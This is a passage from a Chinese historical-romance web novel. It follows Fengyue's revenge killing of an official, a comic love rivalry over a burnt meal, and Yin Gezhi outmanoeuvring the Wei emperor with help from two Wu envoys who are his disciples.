门关上,风月没犹豫,两刀先断石有信的手,然后端起旁边放着的小瓷瓶,将一整瓶**都给他灌了下去!
“手是欠我的,毒是你当年喂关苍海那一种。”听着石有信的嘶吼咆哮,风月勾唇:“咱们清账了,石大人。”
“疼……疼啊……”石有信脸色慢慢发青,双手断处流血潺潺,眼泪糊了满脸,嘶吼之后没什么力气,就哭着小声地喊:“疼啊,疼啊……”
盯着他,风月微微红了眼,嗤笑道:“没用的软脚虾!关苍海当年,肯定一声都没吭!”
的确是一声没吭,那铁血的将军,哪怕浑身受尽刑法,所饮之毒也蚀咬五脏六腑,愣是至死也没说一句话,声音都不曾发。
只是,死不瞑目啊……
石有信痛苦万分,努力想呼吸,胸口却越来越闷。眼睛瞪着,嘴巴也张着,最后都流出了长长的血痕。
七窍流血而死。
深吸一口气,风月闭眼,扭头道:“秋夫人,善后便麻烦您了。”
“无妨。”拿了帕子擦干净她的手,秋夫人低声道:“少主心里能轻松些就好。只是,孝亲王……没关系吗?”
风月道:“如果可以,我是不想让他住下来的,你们能挡住他最好。”
“明白!”秋夫人点头,立马出去找人掩埋尸体,以及给院子里的人加油打气。
然而,半个时辰之后,以尹衍忠为首,院子里一群人都站在风月面前眼睛亮亮地道:“少主,让他住下来
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吧!”
“对啊,住下来吧,反正也不是王爷了,也不会给咱们惹麻烦,还能天天过招!”
“是啊,还能聊聊从前战场上的事情。嗨,原来的殷大皇子多高高在上高不可攀啊,现在能跟咱们打成一片,是好事啊!”
风月:“……”
眯眼看了一眼旁边坐着的殷戈止,那厮正悠闲地摇晃着茶杯,抿一口茶,似乎很是满意,微微侧眼看过来,眼角眉梢都是风流得意。
好想一脚踹他脸上啊!
深呼气再吸气,风月压了这股冲动,摆手道:“你们愿意让他住,那就住吧,给他收拾个柴房。”
“柴房哪里能住人?您旁边那间屋子就空着呢,正好。”
秋夫人一听,立马摇头:“那是给封将军留的!”
其实不是,可她只能这么说啊,不然住那么近,万一半夜把人绑走了,那谁知道呢?
殷戈止眯眼,看了看秋夫人,扭开头道:“我随意住哪里,不挑。”
看在他刚才过招的时候让了自己半招,没让自己输得太难看的份上,尹衍忠很好心地给他找了个离风月不远的空房间,收拾了一番,让他放行李。
于是殷戈止就成为了卧虎藏龙的大杂院的一员,由于其大门不出二门不迈,观止进出又十分谨慎,从来不留痕迹,故而这段时间,朝中众人当真就失去了殷戈止的下落。
除了封明。
封明是在殷戈止住进去的第二天来的,蹲在殷戈止房间的窗户上盯着他看了半晌,看得闭着眼睛的殷戈止幽幽地道:“你再看下去,我会以为你图谋不轨。”
回过神,封明皱眉:“你醒着?我是想问你为什么突然自贬为民,南平公主哭得可惨了,都没能见上你一面,你就不见了。”
缓缓睁开眼,殷戈止撑起身子来看着他道:“不是你说的,我的处境比你更困难吗?”
“我现在,就在挣脱困境。”
微微一愣,封明的脸色有点难看:“你难不成是为了月儿?”
“不然呢?”
“不行!”封明怒了:“就算你不是皇子,以前的罪孽也不可能这么一笔勾销!”
“是不能。”殷戈止慢条斯理地道:“可有的路断了,却还是想走,那就只能慢慢修了。”
封明沉默,瞪着他看了许久,扭头就从窗户跳了出去。
风月正拿着绿豆糕要吃,冷不防觉得自己窗户上蹲了个人,回头一看,手里的糕点都差点吓掉了:“将军,您做什么呢?!”
神色有点沮丧,封明跳进屋子,走到她桌边坐下,拿了一块她盘子里的绿豆糕塞进嘴里,口齿不清地问:“你还记得,以前你有一次骂我‘不堪为夫’的事儿么?”
不堪为夫?那事儿啊?风月点头:“记得,因为你吃饱了撑的在大街上抓着我说你喜欢我,愿意为我**。”
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第160章 我不认输
一想起这事儿,风月还觉得后槽牙发酸!昔日的封明当真是不长脑子啊,看了点什么风花雪月的书,兴冲冲地就跑到街上堵他,当着人来人往车水马龙的,就大吼了一声——“关清越,我喜欢你,我愿意为你**!”
街上一片唏嘘之声,虽然不乏很多小姑娘艳羡的目光,但更多的是路人诡异的眼神,大概是想说,这人有病啊?
关清越当时的眼神就跟路人们是一样的。
勒住马,一身红衣白甲的女将军扬着下巴不屑地看着面前的人,沉声道:“如此行径,实在不堪为夫。”
封明愣了,很是不理解地问:“为何?书上都说女儿家喜欢能为自己付出性命的男人。”
“比起你这种动不动就喊要为我死的人。”关清越傲气地道:“我更喜欢能为了在一起,能不急不躁地谋划、沉稳大气、不动声色的男人!”
沉稳大气、不动声色?彼时的封明压根不懂这是个什么男人,仰头就道:“我觉得喜欢就是要说出来啊,说愿意为你**,就是愿意为你**!”
“那你**吧!”关清越大怒,扯了缰绳马蹄高扬,就要直接从他脑门上踏过去!
……
“现在想来,嘴上说的,大概当真不如实际做的更容易让女儿家动心。”苦笑一声,封明垂了眼眸:“原先我觉得,我定然是这世上最喜欢你的人。现在……倒是未必了。”
听得一头雾水,风月想了半天,问:“你终于移情别恋了?”
封明:“……”
他心里正觉得难受呢,这丫头说个话怎么总是能把人给气活了?
没好气地用头砸了砸桌子,他咬牙道:“你别想了,我赖上你了,不打算再祸害别人!”
风月怒了:“那你说这么多没用的做什么?!”
“我……”封明一愣,低头一想,对啊,他跑来跟她说这些做什么?就算殷戈止更符合她喜欢的人的样子,可他还是喜欢她啊!说与不说,有什么关系么?
没有!
想通这一点,封明的苦瓜脸瞬间又恢复了阳光灿烂的模样,剑眉星目间满满都是愉悦,看得风月晃了晃神。
嘿,别说,封明这小子如今当真是长大了,这俊朗的五官,通身的气派,还真有那么点浊世贵公子的味道。风月瞧着,忍不住拍了拍他的肩膀:“果然是女大十八变。”
啥玩意儿?封明横眉:“谁是女人了?原先我打不过你,你老挤兑我是姑娘也就罢了,现在我功夫大成,勉强能与殷沉璧一战了,你还这么挤兑就过分了!”
“喔。”一本正经地点头,风月笑道:“那唤你封大将军,大将军威风得很呐!”
被她这调笑的语气弄得恼羞成怒,封明抬手作势要掐她脸,房门却猛地被人一脚踢开!
屋子里两个人都吓了一跳,纷纷侧头去看,就见殷戈止长身玉立、气定神闲地站在门口,平静地道:“吴国使臣团进宫了。”
这么快?!
风月震惊了,一溜烟跑到他面前瞪着人问:“先前的书信,不是说吴国的使臣还有半月才能到吗?”
这也是魏国宫中收到的消息,魏文帝下派遣殷戈止去巴山的旨意之时就算计好了,离开之前,殷戈止还能做个桥梁引见双方,以促进两国友好交流,所以,让他去巴山的时间刚好掐在月中。
没想到,孝亲王刚刚被贬,风声都还没消下去呢,吴国使臣团就抵达了澧都,准备进宫。
风月都惊呆了,魏文帝就更是措手不及,慌忙安排太子迎接,又布置使臣下榻的宫殿,宫里宫外,都乱成一团。
殷沉玦临危受命,跑去接待使臣团。本来觉得使臣团多半是些能言善辩的老人,谁知道这回领头的,却是两个年轻人。
“吴国使臣安世冲、徐怀祖,见过魏国太子殿下。”
一蓝一灰的衣裳,在魏国的宫门口飘扬得甚有风骨。
……
“所以,他们被你催得日夜赶路提前到了澧都附近,又被你堵着不让进来,直到现在?”瞳孔里的场景远去,风月一脸鄙夷地看着面前这人:“你这师父当得,也太过分了!亏得俩孩子实诚,没反抗。”
“胡说什么?”殷戈止睨着她,淡淡地道:“我只是写信告诉他们哪儿的风景好,早走可以去哪儿多停留一会儿游山玩水。两个孩子都是在不阴城长大,没见过外头世面。当师父的,不该让他们开开眼么?”
风月沉默,摇头叹息。你说像殷戈止这种一边算计人家一边还能找出冠冕堂皇地为人家好的借口的人,脑子到底是怎么长的?
瞧见他,封明有点不高兴,起身撇嘴道:“我先走了。”
“去哪儿啊?”风月回头看他一眼:“午饭不在这儿吃?”
“你想我在这儿吃啊?”嘴角瞬间扬了起来,封明眼眸亮如星辰地道:“那我就在这儿吃。”
殷戈止眯眼,虽然知道风月完璧之身不是给他的是给了自己让他很舒坦,但眼前这个人依旧让他看不太顺眼。
“你在这儿吃?”他道:“今日是我下厨。”
啥?封明震惊了,风月比他更震惊,瞪眼看着殷戈止道:“您下厨?”
不是君子远庖厨么?而且就观止的厨艺都那副德行,他自己做出来的东西还能吃?
连连摇头,风月道:“您还是安心去打您的小算盘吧,厨房交给郑婶他们。”
“风月。”殷戈止侧头,表情难得地柔软下来,目光深深地看着她道:“你当初在吴国给我做了那么多顿饭,我现在回报你一顿,不行吗?”
封明听得眉头直皱,瞪殷戈止的眼神也更凌厉,奈何这厮皮厚,完全当做没看见!
风月干笑两声,表情严肃地看着他道:“您这叫恩将仇报,以怨报德。”
“放心吧。”转身往外走,殷戈止信心十足地道:“不会很难吃的。”
封明摇头,他完全没有信心!
“你……还要留下来吃饭吗?”风月僵硬地问了封明一句。
犹豫了很久,封明深吸一口气,用一种“壮士一去兮不复还”的悲壮语气,沉声道:“留!你让我留下吃饭,我怎么也得留!”
风月点头:“那你留
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下吧,我带郑婶他们出去找个饭馆儿!”
封明:“……”
厨房里轰鸣声不断,大杂院的人抱头鼠窜,封明很想跟他们一起走,奈何风月很是严肃地道:“大丈夫一言九鼎,你不能走!”
于是他就面如死灰地坐在饭厅里,看着殷戈止端着一盘盘的“菜”进来。
扫了一眼空荡荡的院子,殷戈止压根没在意,放下盘子就道:“吃吧。”
低头看了看面前四个盘子里黑乎乎的东西,封明问:“您是把后院里的黑土挖盘子里了?”
“不。”殷戈止煞有其事地指着菜道:“这个是茄子烧肉,这个是炒白菜,这个是萝卜炖排骨,这个是土豆丝。”
一脸铁青地跟着他手指的方向看着,封明摇头:“殷沉璧,就算我与你是情敌,你也不能用此酷刑毒害于我!是个男人,就堂堂正正地较量!”
堂堂正正?殷戈止笑了,往椅子上一坐,斜眼看着他道:“她是我的人,与我有多年的羁绊和缘分,你打算拿什么跟我较量?”
“别太得意了。”封明眯眼:“我与她也有婚约!”
“是‘曾有过’。”
“我比你更了解她,是一起长大的青梅竹马!”
“人是会变的。”
“她不喜欢你!”
“她更不喜欢你。”
屋子里飞沙走石,两人互不相让,使用语言攻击,企图瓦解对方的信心。
然而,封明心如铁石,殷戈止臭不要脸,谁也没能说服谁。
“别的我不知道,但有一点。”殷戈止抬头,最后补了一句:“她想做的事情,只有我知道,只有我能帮她完成,只有我能不让她走上绝路。”
封明愕然,然后皱眉。
的确,他到现在为止,只知道月儿想为关家报仇,却不知道她想怎么做,只能在她需要自己的时候帮个忙。
“嗯,我不如你会算计。”大方地承认了这一点,封明道:“但我没有顾忌,她想做什么,只要对我开口,我都能毫无保留地帮她。但您未必。”
轻哼一声,殷戈止起身看向外头:“这也是你最后一点优势了,当我没了桎梏,你便连这点优势都不会再有。封将军,智者博弈从不下死棋,一见必败之势就会认输。”
“我不认。”封明抬头,目光灼灼:“只要她没有亲口让我走,我都不认。”
不到最后的最后,谁知道会发生什么事呢?他才不要当智者,他要当勇士。
嫌弃地看他一眼,殷戈止正想再说,却见观止从外头跑进来,兴奋地道:“主子,宫里出事了!太子殿下得罪了吴国使臣,使臣团撤出了皇宫,居于驿站。”
这么快?殷戈止挑眉:“怎么回事?”
到他旁边拱手,观止道:“两家少爷一进宫就问您的下落,大概与太子言语有冲。”
岂止是言语有冲,是直接肢体有冲啊!
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第161章 两家少爷的信仰
安世冲就问了一句贵国大皇子所在何处,殷沉玦那不会说话的,分外抵触地道:“魏国已经没有大皇子了,殷沉璧自贬为民,已经出了皇宫。今日是本宫来迎接二位,本宫是魏国太子。”
徐怀祖一听就翻了白眼,太子了不起哦?魏国的太子,还不如吴国的护城军统领呢!看这人一副傲气的样子,他就想一个刀鞘砸过去。
“他为什么会自贬为民?”安世冲脸色不太好看地问。
殷沉玦撇嘴:“两位是吴国来的使臣,目的是与咱们大魏交好,何以一直问殷沉璧的事情?他现在已经什么都不是了,两位又何必挂心?”
这说话的语气充满不屑,眼白还一翻一翻的,看得徐怀祖沉不住气了,问安世冲:“我能揍他吗?”
安世冲摇头:“我们是使臣……”
殷沉玦听见了,连连皱眉:“说起来,吴国也是礼仪之邦,使臣进宫,哪有还带着刀剑的?在觐见陛下之前,劳烦二位将身上的刀剑交上来。”
交?一听这用词,安世冲黑了脸,也不拦着徐怀祖了,直接往旁边一退。
徐怀祖“嗷”地一声就扑了上去,逮着殷沉玦就是一拳!打得他半边眼眶青紫,跌倒在地。
魏国皇宫震惊了,无数禁卫涌了过来,将使臣团围住。
殷沉玦反应过来之后也是怒极,骂道:“这哪里是吴国的使臣!看样子就是**都没长齐的小孩儿,来捣乱的吧?给本宫将他们拿下!”
后头的使臣团众人本还觉得是两位大人冲动了,可一看魏国这态度,当即都沉了脸。
殷戈止在吴国一年有余,吴国放魏国安生也才一年,魏国就摆不正自己的位置了?要不是殷戈止,他们现在就是个属国,哪里来的底气这般对待使臣?
于是,安世冲和徐怀祖拔剑拔刀且战且退,使臣团纷纷离开皇宫,回去写告状信。
魏文帝听见了消息,反手就是一个耳光将太子扇倒在地!
“混账!都递交了文书进了咱们皇宫的人,你还觉得人家不是使臣?你脑子怎么长的?”
捂着脸跪好,殷沉玦哆哆嗦嗦地道:“可是……那两个领头的使臣实在太年轻了,而且脾气很冲,上来就打了儿臣,儿臣才……”
“你要是没得罪人,他们会打你?”一卷文书甩在他面前,魏文帝怒道:“这两人是吴国颇有权势的世家子弟,又担任吴国重职。吴王派他们来,足以表明诚意。可你倒好,二话不说把人给朕赶出了宫!”
殷沉玦有点傻眼:“可……他们一直问殷沉璧的事情……儿臣没回答,这也算得罪吗?”
殷沉璧?魏文帝一愣,垂眸想了想。
沉璧在吴国待了一年,认识些人不算什么奇怪,这两人可能与他有点交情吧,想问问他的情况。可如今那逆子……不提也罢!大不了他亲自出马,总能搞定的。
嫌恶地看了太子一眼,魏文帝抬脚就将他踢开,大步往外走。
大杂院里。
听观止说清楚了这情况,殷戈止微微颔首,道:“那咱们就该露露面儿了,走,去找找风月。”
“是!”观止扭头就去寻马车。
封明还盯着盘子里的黑土走神呢,外头的人就已经消失得无影无踪。
风月带着众人在饭馆里落座,旁边的百姓已经在议论纷纷了。
“听说了吗?吴国使臣来了,刚进宫就不知道为什么被赶了出来。”
“嗨,我瞧着咱们这皇帝是过于自信了,吴国这几年实力大增,已经是不用把魏国放在眼里的地步了。他还敢把人家的使臣赶出来?”
“瞧着是有些要打仗的意思,咱们现在有什么将军能用啊?除了一个年纪轻轻的封明将军,还有谁?”
“唉……”叹息之声此起彼伏。
风月听着,觉得胃口都开了,等饭上来,麻利地吃了三碗。
桌上坐着的尹衍忠等人眼里也都是看好戏的神色,奈何人多嘴杂,也不好说话,就纷纷动着筷子,将肚子填饱了,然后打算回去商量事情。
谁知道,刚结账出门,就见观止驾着马车在外头等着,车帘掀开,殷戈止那张面无表情的脸露出来,看着风月就道:“去不去驿站?”
驿站有谁呢?漩涡中心的吴国使臣团啊!风月一听就点了头:“去!”
有殷戈止带着她看热闹,那不去白不去啊!
于是众人就站在饭馆门口,看着马车卷起的灰尘飞上天,又缓缓落下去。
秋夫人感叹:“为什么每次少主都会跟他走呢?”
尹衍忠摇头:“圈套下得好,我也想去。”
罗昊跟着点头:“我也想!”
外交可是国与国之间的大事啊,在这么多年一帆风顺的外交史上,魏国头一次出现这么大的纰漏,后续肯定很有趣。
风月兴致勃勃,一路上问殷戈止:“吴国会不会因此不与魏国联盟了?”
“不会,有我在。”
听着这回答,风月有点不爽,严肃了神色问:“那使臣团这件事就这么算了?”
看她一眼,殷戈止淡淡地道:“有我在,不会。”
同样的五个字,后头这话却听出点阴险的味道。风月眯眼,心想他能怎么着呢?结果到驿站,一看见那迎出来的两个人,风月瞬间就反应了过来。
这回来的使臣是谁啊?安世冲、徐怀祖!这两人和殷戈止是什么关系啊?师徒……不,或者说是,殷戈止就是他们的迷信对象,跟百姓迷信佛祖一样,这两人分外迷信殷戈止,觉得他上天入地无所不能,说什么都是对的!
有这么两个人在,魏文帝还能逃出殷戈止的算计之外?
唏嘘两声,风月抬眼看着他们,就见安世冲大步走到殷戈止面前,半跪行礼:“师父!”
徐怀祖那没个规矩的,则是直接扑上来抱了殷戈止一下,然后才跟着跪下去:“师父!”
“我如今是一介草民,你们堂堂吴国重臣,哪有行大礼的道理。”伸手将他们拉起来,殷戈止淡淡地道。
安世冲皱眉,有些愤怒地道:“关于师父自贬为民的事情,具体的过程,徒儿们已经打听清楚了。魏国皇
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室忘恩负义,竟然如此对待师父,徒儿们为师父不平!”
“是啊!”徐怀祖道:“那太子一看就不是个好东西,仗势欺人妄自尊大,还敢要砍师父的手!”
听得挑眉,风月问:“这都是谁告诉你们的?”
“廉统领说的。”徐怀祖一听见这声音就回头看了看:“师娘也在啊?”
结果一回头,没瞧见那红衣烈烈的小美人儿,倒是瞧见个满脸络腮胡子的男人,贼眉鼠眼的。
吓得后退半步,徐怀祖瞪眼:“你是谁?”
殷戈止微微笑了笑:“你方才喊的就是对的。”
啥玩意儿?安世冲有点不敢置信,先前徐怀祖瞎喊师娘,不是还吃了苦头么?现在喊人师娘,还是喊了个男人,师父怎么瞧着还挺高兴?
徐怀祖也觉得不可思议,凑近风月瞧了好一会儿,伸手扯了一片儿胡子下来,才恍然大悟:“当真是风月姑娘!”
“行了。”殷戈止道:“这里也不是说话的地方,胡子还她,进去再说。”
“是。”压下心里的震惊,两个少爷乖乖地听着师父的话,将他和风月都请进了驿站里头。
风吹云跑,半个时辰过去,坐在驿站里的四个人已经将来魏国之后发生的事情基本说了个清楚,只瞒了风月的身份,其余的一概没提。
“我就说关将军是个好人吧!”一拍桌子,徐怀祖总算扬眉吐气了:“可魏国的皇帝怎么这样啊?明知道冤枉了人,都不给翻案的?”
安世冲眉头紧皱,很是担心地看着殷戈止:“师父的处境太艰难了,要是叶太子知道,定然是会重新考虑与魏国联合之事,毕竟当初是看在您的份上,他才考虑了这个方案。”
“没那么严重。”殷戈止道:“吴国要抗宋,多一个魏国有益无害,这个时候与魏国起冲突也不明智。今日宫里发生的事情,魏文帝定然会找你们说和,到时候,你们得帮师父一个忙。”
“好!”压根没问是什么忙,两个人点头就应了。
风月看得感慨,千算万算,还是人心最难算,魏文帝也是城府颇深之人,可他注定输给殷戈止,因为他不如殷戈止会笼络人心。
说笼络也不恰当,殷戈止这完全是靠自己的强大,征服的人心。
可怕啊可怕。
两人在驿站待到了酉时一刻,外头便传来了太监的声音:“传陛下口谕,请使臣团进宫。”
徐怀祖没好气地开门冲外头的吴国护卫们道:“你们去回话,就说使臣的腿全被贵国太子打断了,进不了宫,请魏国皇帝见谅!”
那太监一噎,在外头踌躇了半晌,不甘不愿地走了。
“师父和师娘在这儿住一晚吧。”安世冲道:“明日要是有什么情况,您二位也能立马知道。”
“不用明日。”殷戈止看着外头,气定神闲地道:“你们准备一间房,黄昏时分,就会有人来了。”
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第162章 殷氏头顶的石头
本来还想计较一下这个“师娘”的称谓,结果一听这话,风月立马转移了注意力:“谁会来?”
殷戈止露出了一种桥头算命道士特有的“高深莫测”的表情:“你等着就是。”
“……”沉默片刻,风月举起旁边的椅子就要往他脸上砸!
“师娘!”徐怀祖吓**,连忙拦住她:“您这是做什么?”
先前在吴国还是好好的呢,怎么一回魏国,胆子就变得这么大了?还……还敢砸师父?
眯了眯眼,风月认真地拍了拍他的肩膀:“别叫我师娘。”
“那叫什么?”
磨了磨牙,风月微笑:“可以叫师爷爷!”
徐怀祖:“……”
安世冲有点担忧地看了旁边的殷戈止一眼,以为他会生气。然而,自家师父脸上不仅没有生气的神色,反而露出了点微笑。
打了个寒战,他忍不住想,难不成魏国的水土,容易让师父的脾性变得温和?
屋子里鸡飞狗跳,殷戈止淡然自若地喝着茶,等着黄昏时分,听着外头的动静,他才起身,将风月拎起来,塞在安世冲准备好的房间里的柜子里头。
“想看热闹,就别吭声。”
瞪着他看了几眼,风月听话地伸手捂住了自己的嘴。
柜子门关上,四周一片黑暗,没一会儿就听得院子外头脚步声杂乱,先前那些躲着写告状信的老臣这会儿全出来了,站在院子里行礼,声音里没个感情地喊:“见过魏国陛下。”
竟然是魏文帝亲自驾临?!风月有点震惊,震惊之余,就有点热血沸腾。
本来还想进宫,现在这人竟然就送到眼前来了,她怎么也得把握机会!
听着外头嘻嘻哈哈的谈论之声,风月深吸一口气,把手放在柜门上轻轻一推。
“咔擦。”外头的铁锁响了一声,门推不开。
风月有点傻眼,傻眼之后就反应了过来,咬牙切齿地在心里骂:殷戈止你这个畜生!
殷畜生正气定神闲地坐在桌边喝茶,外头的魏文帝已经为太子的冲动行为向使臣团致歉,态度极为温和,语气诚恳,听得吴国的人都稍微轻松了些。
但是,当魏文帝说想就两国联合之事详谈之时,安世冲后退了半步,拱手道:“陛下,此回臣等前来,并未听闻联合之事,只是为两邦友好尽一份力。”
笑容僵在了脸上,魏文帝心里的火气冒了起来。如今这形势谁不清楚啊?四处都在打仗,没一个国家置身事外。吴国目前算是宋国之下实力最强的,要是能将魏国护在羽翼之下,那就是天大的好事。他也就是冲着这件事,才低声下气地来道歉的,这些人竟然还不肯谈?
什么没听闻联合之事,这种稚嫩的借口在老油条这儿是不管用的,魏文帝心里直骂,面儿上却是不得不笑:“既然各位大人不急着谈,那不如就先在澧都看看风景,吃些东西。若是愿意进宫,宫里自然也会备着膳食等着各位。”
“好说。”徐怀祖拱手,恭敬地道:“不过我二人先前在吴国就拜过贵国大皇子为师,此番前来,也是想见他一面,不曾想他好像出了些事情……敢问陛下,他身上可有什么罪名?”
一听这话,魏文帝垂了眼,尴尬地笑道:“他哪能有什么罪名,是朕太宠着了,失了分寸,自己挂冠而走。”
“如此,那我二人也就放心了。”安世冲颔首道:“师父是个不拘小节之人,不愿意当皇亲贵胄,倒也显出些风流雅士不慕权贵的风骨来。既然无罪,那臣等就留他在驿站住下,还望陛下勿怪。”
嗯,在驿站住下。魏文帝点头,点着点着觉得不对劲,脸一黑,看着安世冲问:“他在驿站?”
“自然,到底是我二人的恩师,一到驿站,臣等便将他迎来,打算尽孝顺之事。”安世冲道:“不过师父说与陛下有所冲突,恐陛下看见他生气,所以连礼也没出来见。喏,就在那边的屋子里头。”
魏文帝一听就怒了,人就在驿站,都不出来行礼?好大的架子啊!
然而,徐怀祖却感叹道:“虽不知师父为何挂冠,但其对陛下的孝心,当真令徒儿们感动。”
“你哪里看出他有孝心了?”魏文帝冷哼。
徐怀祖挑眉:“难道不是吗?就算已经不是皇子了,可师父顾念陛下心情,不愿惹陛下生气而甘愿屈于一室之中。这等孝心,陛下还看不出来?”
的确看不出来!但这两个人有多尊敬殷沉璧他是看出来了,眼珠子转了两圈,抿唇道:“听你这么一说,朕倒是觉得有些惭愧。既然如此,那朕便进屋与他一见,原谅他大逆不道的罪过。”
听前半句还挺好的,但最后一句话,安世冲听着不乐意了,一脸严肃地道:“师父怎可能大逆不道!挂冠为民,也不过是陛下远遣他巴山、太子殿下又有意加害之下的无奈之举。陛下难道还觉得是师父的不对?”
“是啊!”徐怀祖皱眉:“堂堂亲王府,竟可以被太子半夜带人围堵,还欲取皇子手臂!遭遇了这等对待,师父不仅不怨怼,不告状,反而一声不吭,只是想卸下王爷之位,免了太子顾忌,让朝廷安稳。不曾想,陛下半点不领情,反而觉得是他大逆不道!”
魏文帝一愣,这倒是有点意外:“太子围堵亲王府?两位大人从何得知啊?”
“您还不知道么?”徐怀祖瞪眼,一副很意外的模样,表情丰富,十分气愤地道:“外头可都传遍了,走街上都能听见人说,那半夜运出去的护城军尸体唷,可多了。”
仔细想了想,魏文帝想起那日朝堂上石鸿唯说的什么“孝亲王杀戮护城军百余人”,难不成就是这件事?
心思百转,魏文帝这才是真心实意地打算找殷戈止谈谈。
门“吱呀”一声开了,风月捏着拳头坐在柜子里,就听得殷戈止那声音平静地响起:“草民见过陛下。”
满眼复杂的神色,魏文帝看了一眼后头,那两位吴国重臣竟然没跟进来,甚至还亲手上来关了门。
嗤笑一声,他回头看着自己面前跪着的人,
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道:“你的本事可真大啊,沉璧。”
“草民殷戈止。”一身白衣的人无波无澜地道:“令吴魏之戈止的‘戈止’。”
心里微微一沉,魏文帝难得地有了点愧疚之色:“你先起来吧。”
“谢陛下。”
长叹一口气,魏文帝在桌边坐下,敲着桌面看着他道:“闹够了就回来吧,你也知道,现在正是危急存亡之时,可能需要你的帮助。”
“陛下。”殷戈止淡淡地道:“当日朝堂之上,该说的,草民都已经说完了。陛下说的,草民也都记在了心里。”
此后,愿陛下多保重,若是有难事,也可寻草民相助。——这是他说的。
朕堂堂帝王,还会求你一个平民?殷沉璧,没了皇室的身份,你就什么也不是!别太看得起自己了!——这是皇帝陛下说的。
想起那时的场景,魏文帝尴尬地笑了笑:“朕……也是糊涂了,一时被你这行为气昏了头,说的话也当不得真。”
是被气昏头决定要允废了他,还是因为一早有这种想法,所以说起来也毫不费力?殷戈止不想追究,只冷声道:“草民说的每句话,都经过深思熟虑。草民不会闹着玩,更不是把皇室身份当儿戏。陛下,草民只是当真对殷氏皇族失望而已。”
“你大胆!”魏文帝怒了,一拍桌子便道:“这种话,岂是能随意乱说的!”
天子之怒,摄人至极,然而对面的殷戈止脸色都没变,依旧是那副冷静的模样,等皇帝自个儿气得差不多了,才幽幽地道:“要是草民胡说,那陛下就问心无愧,不必动怒了。”
反之,就是问心有愧,才恼羞成怒。
魏文帝不傻,气够了也明白自己的儿子在想什么,他就是不甘心,凭啥他是皇帝,还得被他左右啊?他不干!
但,外头那些吴国的使臣摆明就听他的,也是冲着他来的,万一再与殷戈止起冲突,造成什么严重的后果,那遭殃的可能就是他的皇权了!
深呼吸几下,魏文帝平缓了语气,问:“你是不是非得让朕给关家翻案,之后才觉得殷氏皇族有望?”
“关家之案,只是一块石头。”殷戈止看着他道:“草民希望陛下能严肃律法,还忠良一个公道,莫要让殷氏头顶上的石头越来越多,最后压垮整个国家。”
小孩子就是单纯!魏文帝心里冷笑,面儿上勉强点头:“可以,只要你回来当你的孝亲王,替朕摆平吴魏之间的事情,此事朕可以考虑。”
神色微冷,殷戈止道:“连给忠臣翻案也是有条件的?陛下果然还是不明白草民所想,还是早些回宫,保重龙体吧。”
“哎……”魏文帝怒了:“你要翻案,朕都答应了,你还想怎么样?殷戈止,你别太过分!”
这种答应,可是随时会翻脸的,当他傻吗?他也姓殷,能不知道这些心思?
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第163章 骨肉亲情
殷戈止冷笑,转身就去打开了房门,朝他指了指门外。
带了皱纹的脸上涨得通红,看起来像喝醉酒的糟老头子。魏文帝很生气,按照他年轻时候的脾性,殷戈止这种算计到他头上来的人,肯定是要被推出去砍了的!横着砍竖着砍,亲生儿子也不管,砍!
可是现在,他已经到了中老年阶段,没那么冲动了,也没底气那么冲动。魏国岌岌可危,太子草包一个,他这个皇帝就算手握所有大权,那也得好声好气捧着吴国啊。要捧着吴国,殷戈止这条路是捷径,那他就得走啊。
所以,就算气殷戈止忤逆、多算计,魏文帝深吸几口气,也还是得败下阵来,低低地问他一句:“你是不是,跟朕下了很大的一盘棋?”
站直了身子,殷戈止转头看向别处:“陛下何出此言?”
“事到如今朕要是还看不出来,这皇位怎么坐得稳?”魏文帝哼笑,盯着面前自己这成长极快的儿子,半是感叹半是忌惮地道:“你分明从一回来开始,就算好了会有今天。朕同意你翻案便罢,朕不同意,你也会逼着朕同意!”
只一年便从吴国回来,他是派人去查过殷沉璧的,回禀他的人却都是说吴国有意与魏国交好,所以放了殷沉璧回来。可如今一看,殷沉璧分明就是准备充分,带着吴国的筹码回来的!
怪不得那般理直气壮地要自贬为民,看起来是在走绝路,却分明是要把他堂堂帝王往绝路上逼!好一番算计,好一个孝亲王啊!他还当他是只猫,却不想他已经长成了老虎,还是会朝他龇牙的老虎!
心绪难平,魏文帝沉怒道:“到这个份上了,朕已经同意了,你又在拿什么架子?难不成非要朕,把龙冠取下来戴在你的头上吗!”
最后一句话说得很用力,手都微微发抖。
殷戈止看着他,表情镇定,目光苍凉:“在陛下的眼里,是不是没有骨肉亲情,只有权力和算计?哪怕我是您亲生的儿子,您也不曾信任过,只觉得我要篡位**?”
抖着的手一僵,魏文帝垂眸,没吭声。
眼里有痛色,殷戈止捏紧了拳头,失笑出声:“那倘若草民说,草民做的这一切,不过是为了天地公道,为了朝风清正,为了洗清殷氏皇族沾着的忠臣凉血……陛下……是不是也不会信?”
当然不信,魏文帝皱眉。这种大义凛然的话他听得多了,这世上哪有那么多无私伟大的人?话都说得漂亮,背后不知道打着什么算盘呢!就算是自己的儿子,也不能信!
眼里最后一丝希望也灭了,像烧到黎明的蜡烛,不甘不愿地化成最后一缕青烟,消失无形。
伸手摸了摸自己额头上一个小小的疤痕,殷戈止抿唇,眼里慢慢铺满坚冰。
“既然不信,那就罢了。”他道:“为人子民所该说的,草民都已经说了个干净,陛下不听,那就不送了。”
“哎……”魏文帝瞪大了眼,他以为殷戈止这回依旧是欲擒故纵,可当真见那门在面前关起来,他才明白,那孩子是认真的。
不是真心诚意地为关家翻案,他便不会帮魏国这回的忙。
魏文帝很生气,他觉得作为一个帝王自己该给的面子都给了,给脸都不要脸,那大不了这条捷径他不走了!就算没殷戈止,吴国还能当真在这个节骨眼上与魏国为敌?!
拂袖而走,魏文帝气得一路都骂骂咧咧的,也没跟吴国的使臣打声招呼,就乘着车驾离开。
安世冲和徐怀祖贴在外头偷听呢,见魏国皇帝走了,连忙蹿进来,两个人脸上的表情都很是气愤。
徐怀祖道:“本以为咱们的陛下就已经够昏庸了,谁知道这天外有天人外有人啊!师父一心为他着想,他怎么好话都听不进去?”
安世冲叹息:“帝王戒心太重,可也少有连自己的骨肉都防备的。瞧咱们吴国的太子,那般把持朝政,陛下不仅没责怪,反而是宠信有加。”
垂了眼眸,殷戈止转身拿了钥匙打开柜子上的锁,伸手将磨着牙的风月抱出来,淡淡地道:“你们按照先前说的办就是,为师不会让你们交不了差。”
“好。”两家少爷点头,徐怀祖嘿嘿笑了两声,指了指内室的床榻:“师父师爷爷好好休息啊,时候不早了,徒儿们先告退。”
对于这声“师爷爷”,殷戈止眯了眯眼,风月倒是听乐了,松了牙小声道:“听见没?我是你爹了!”
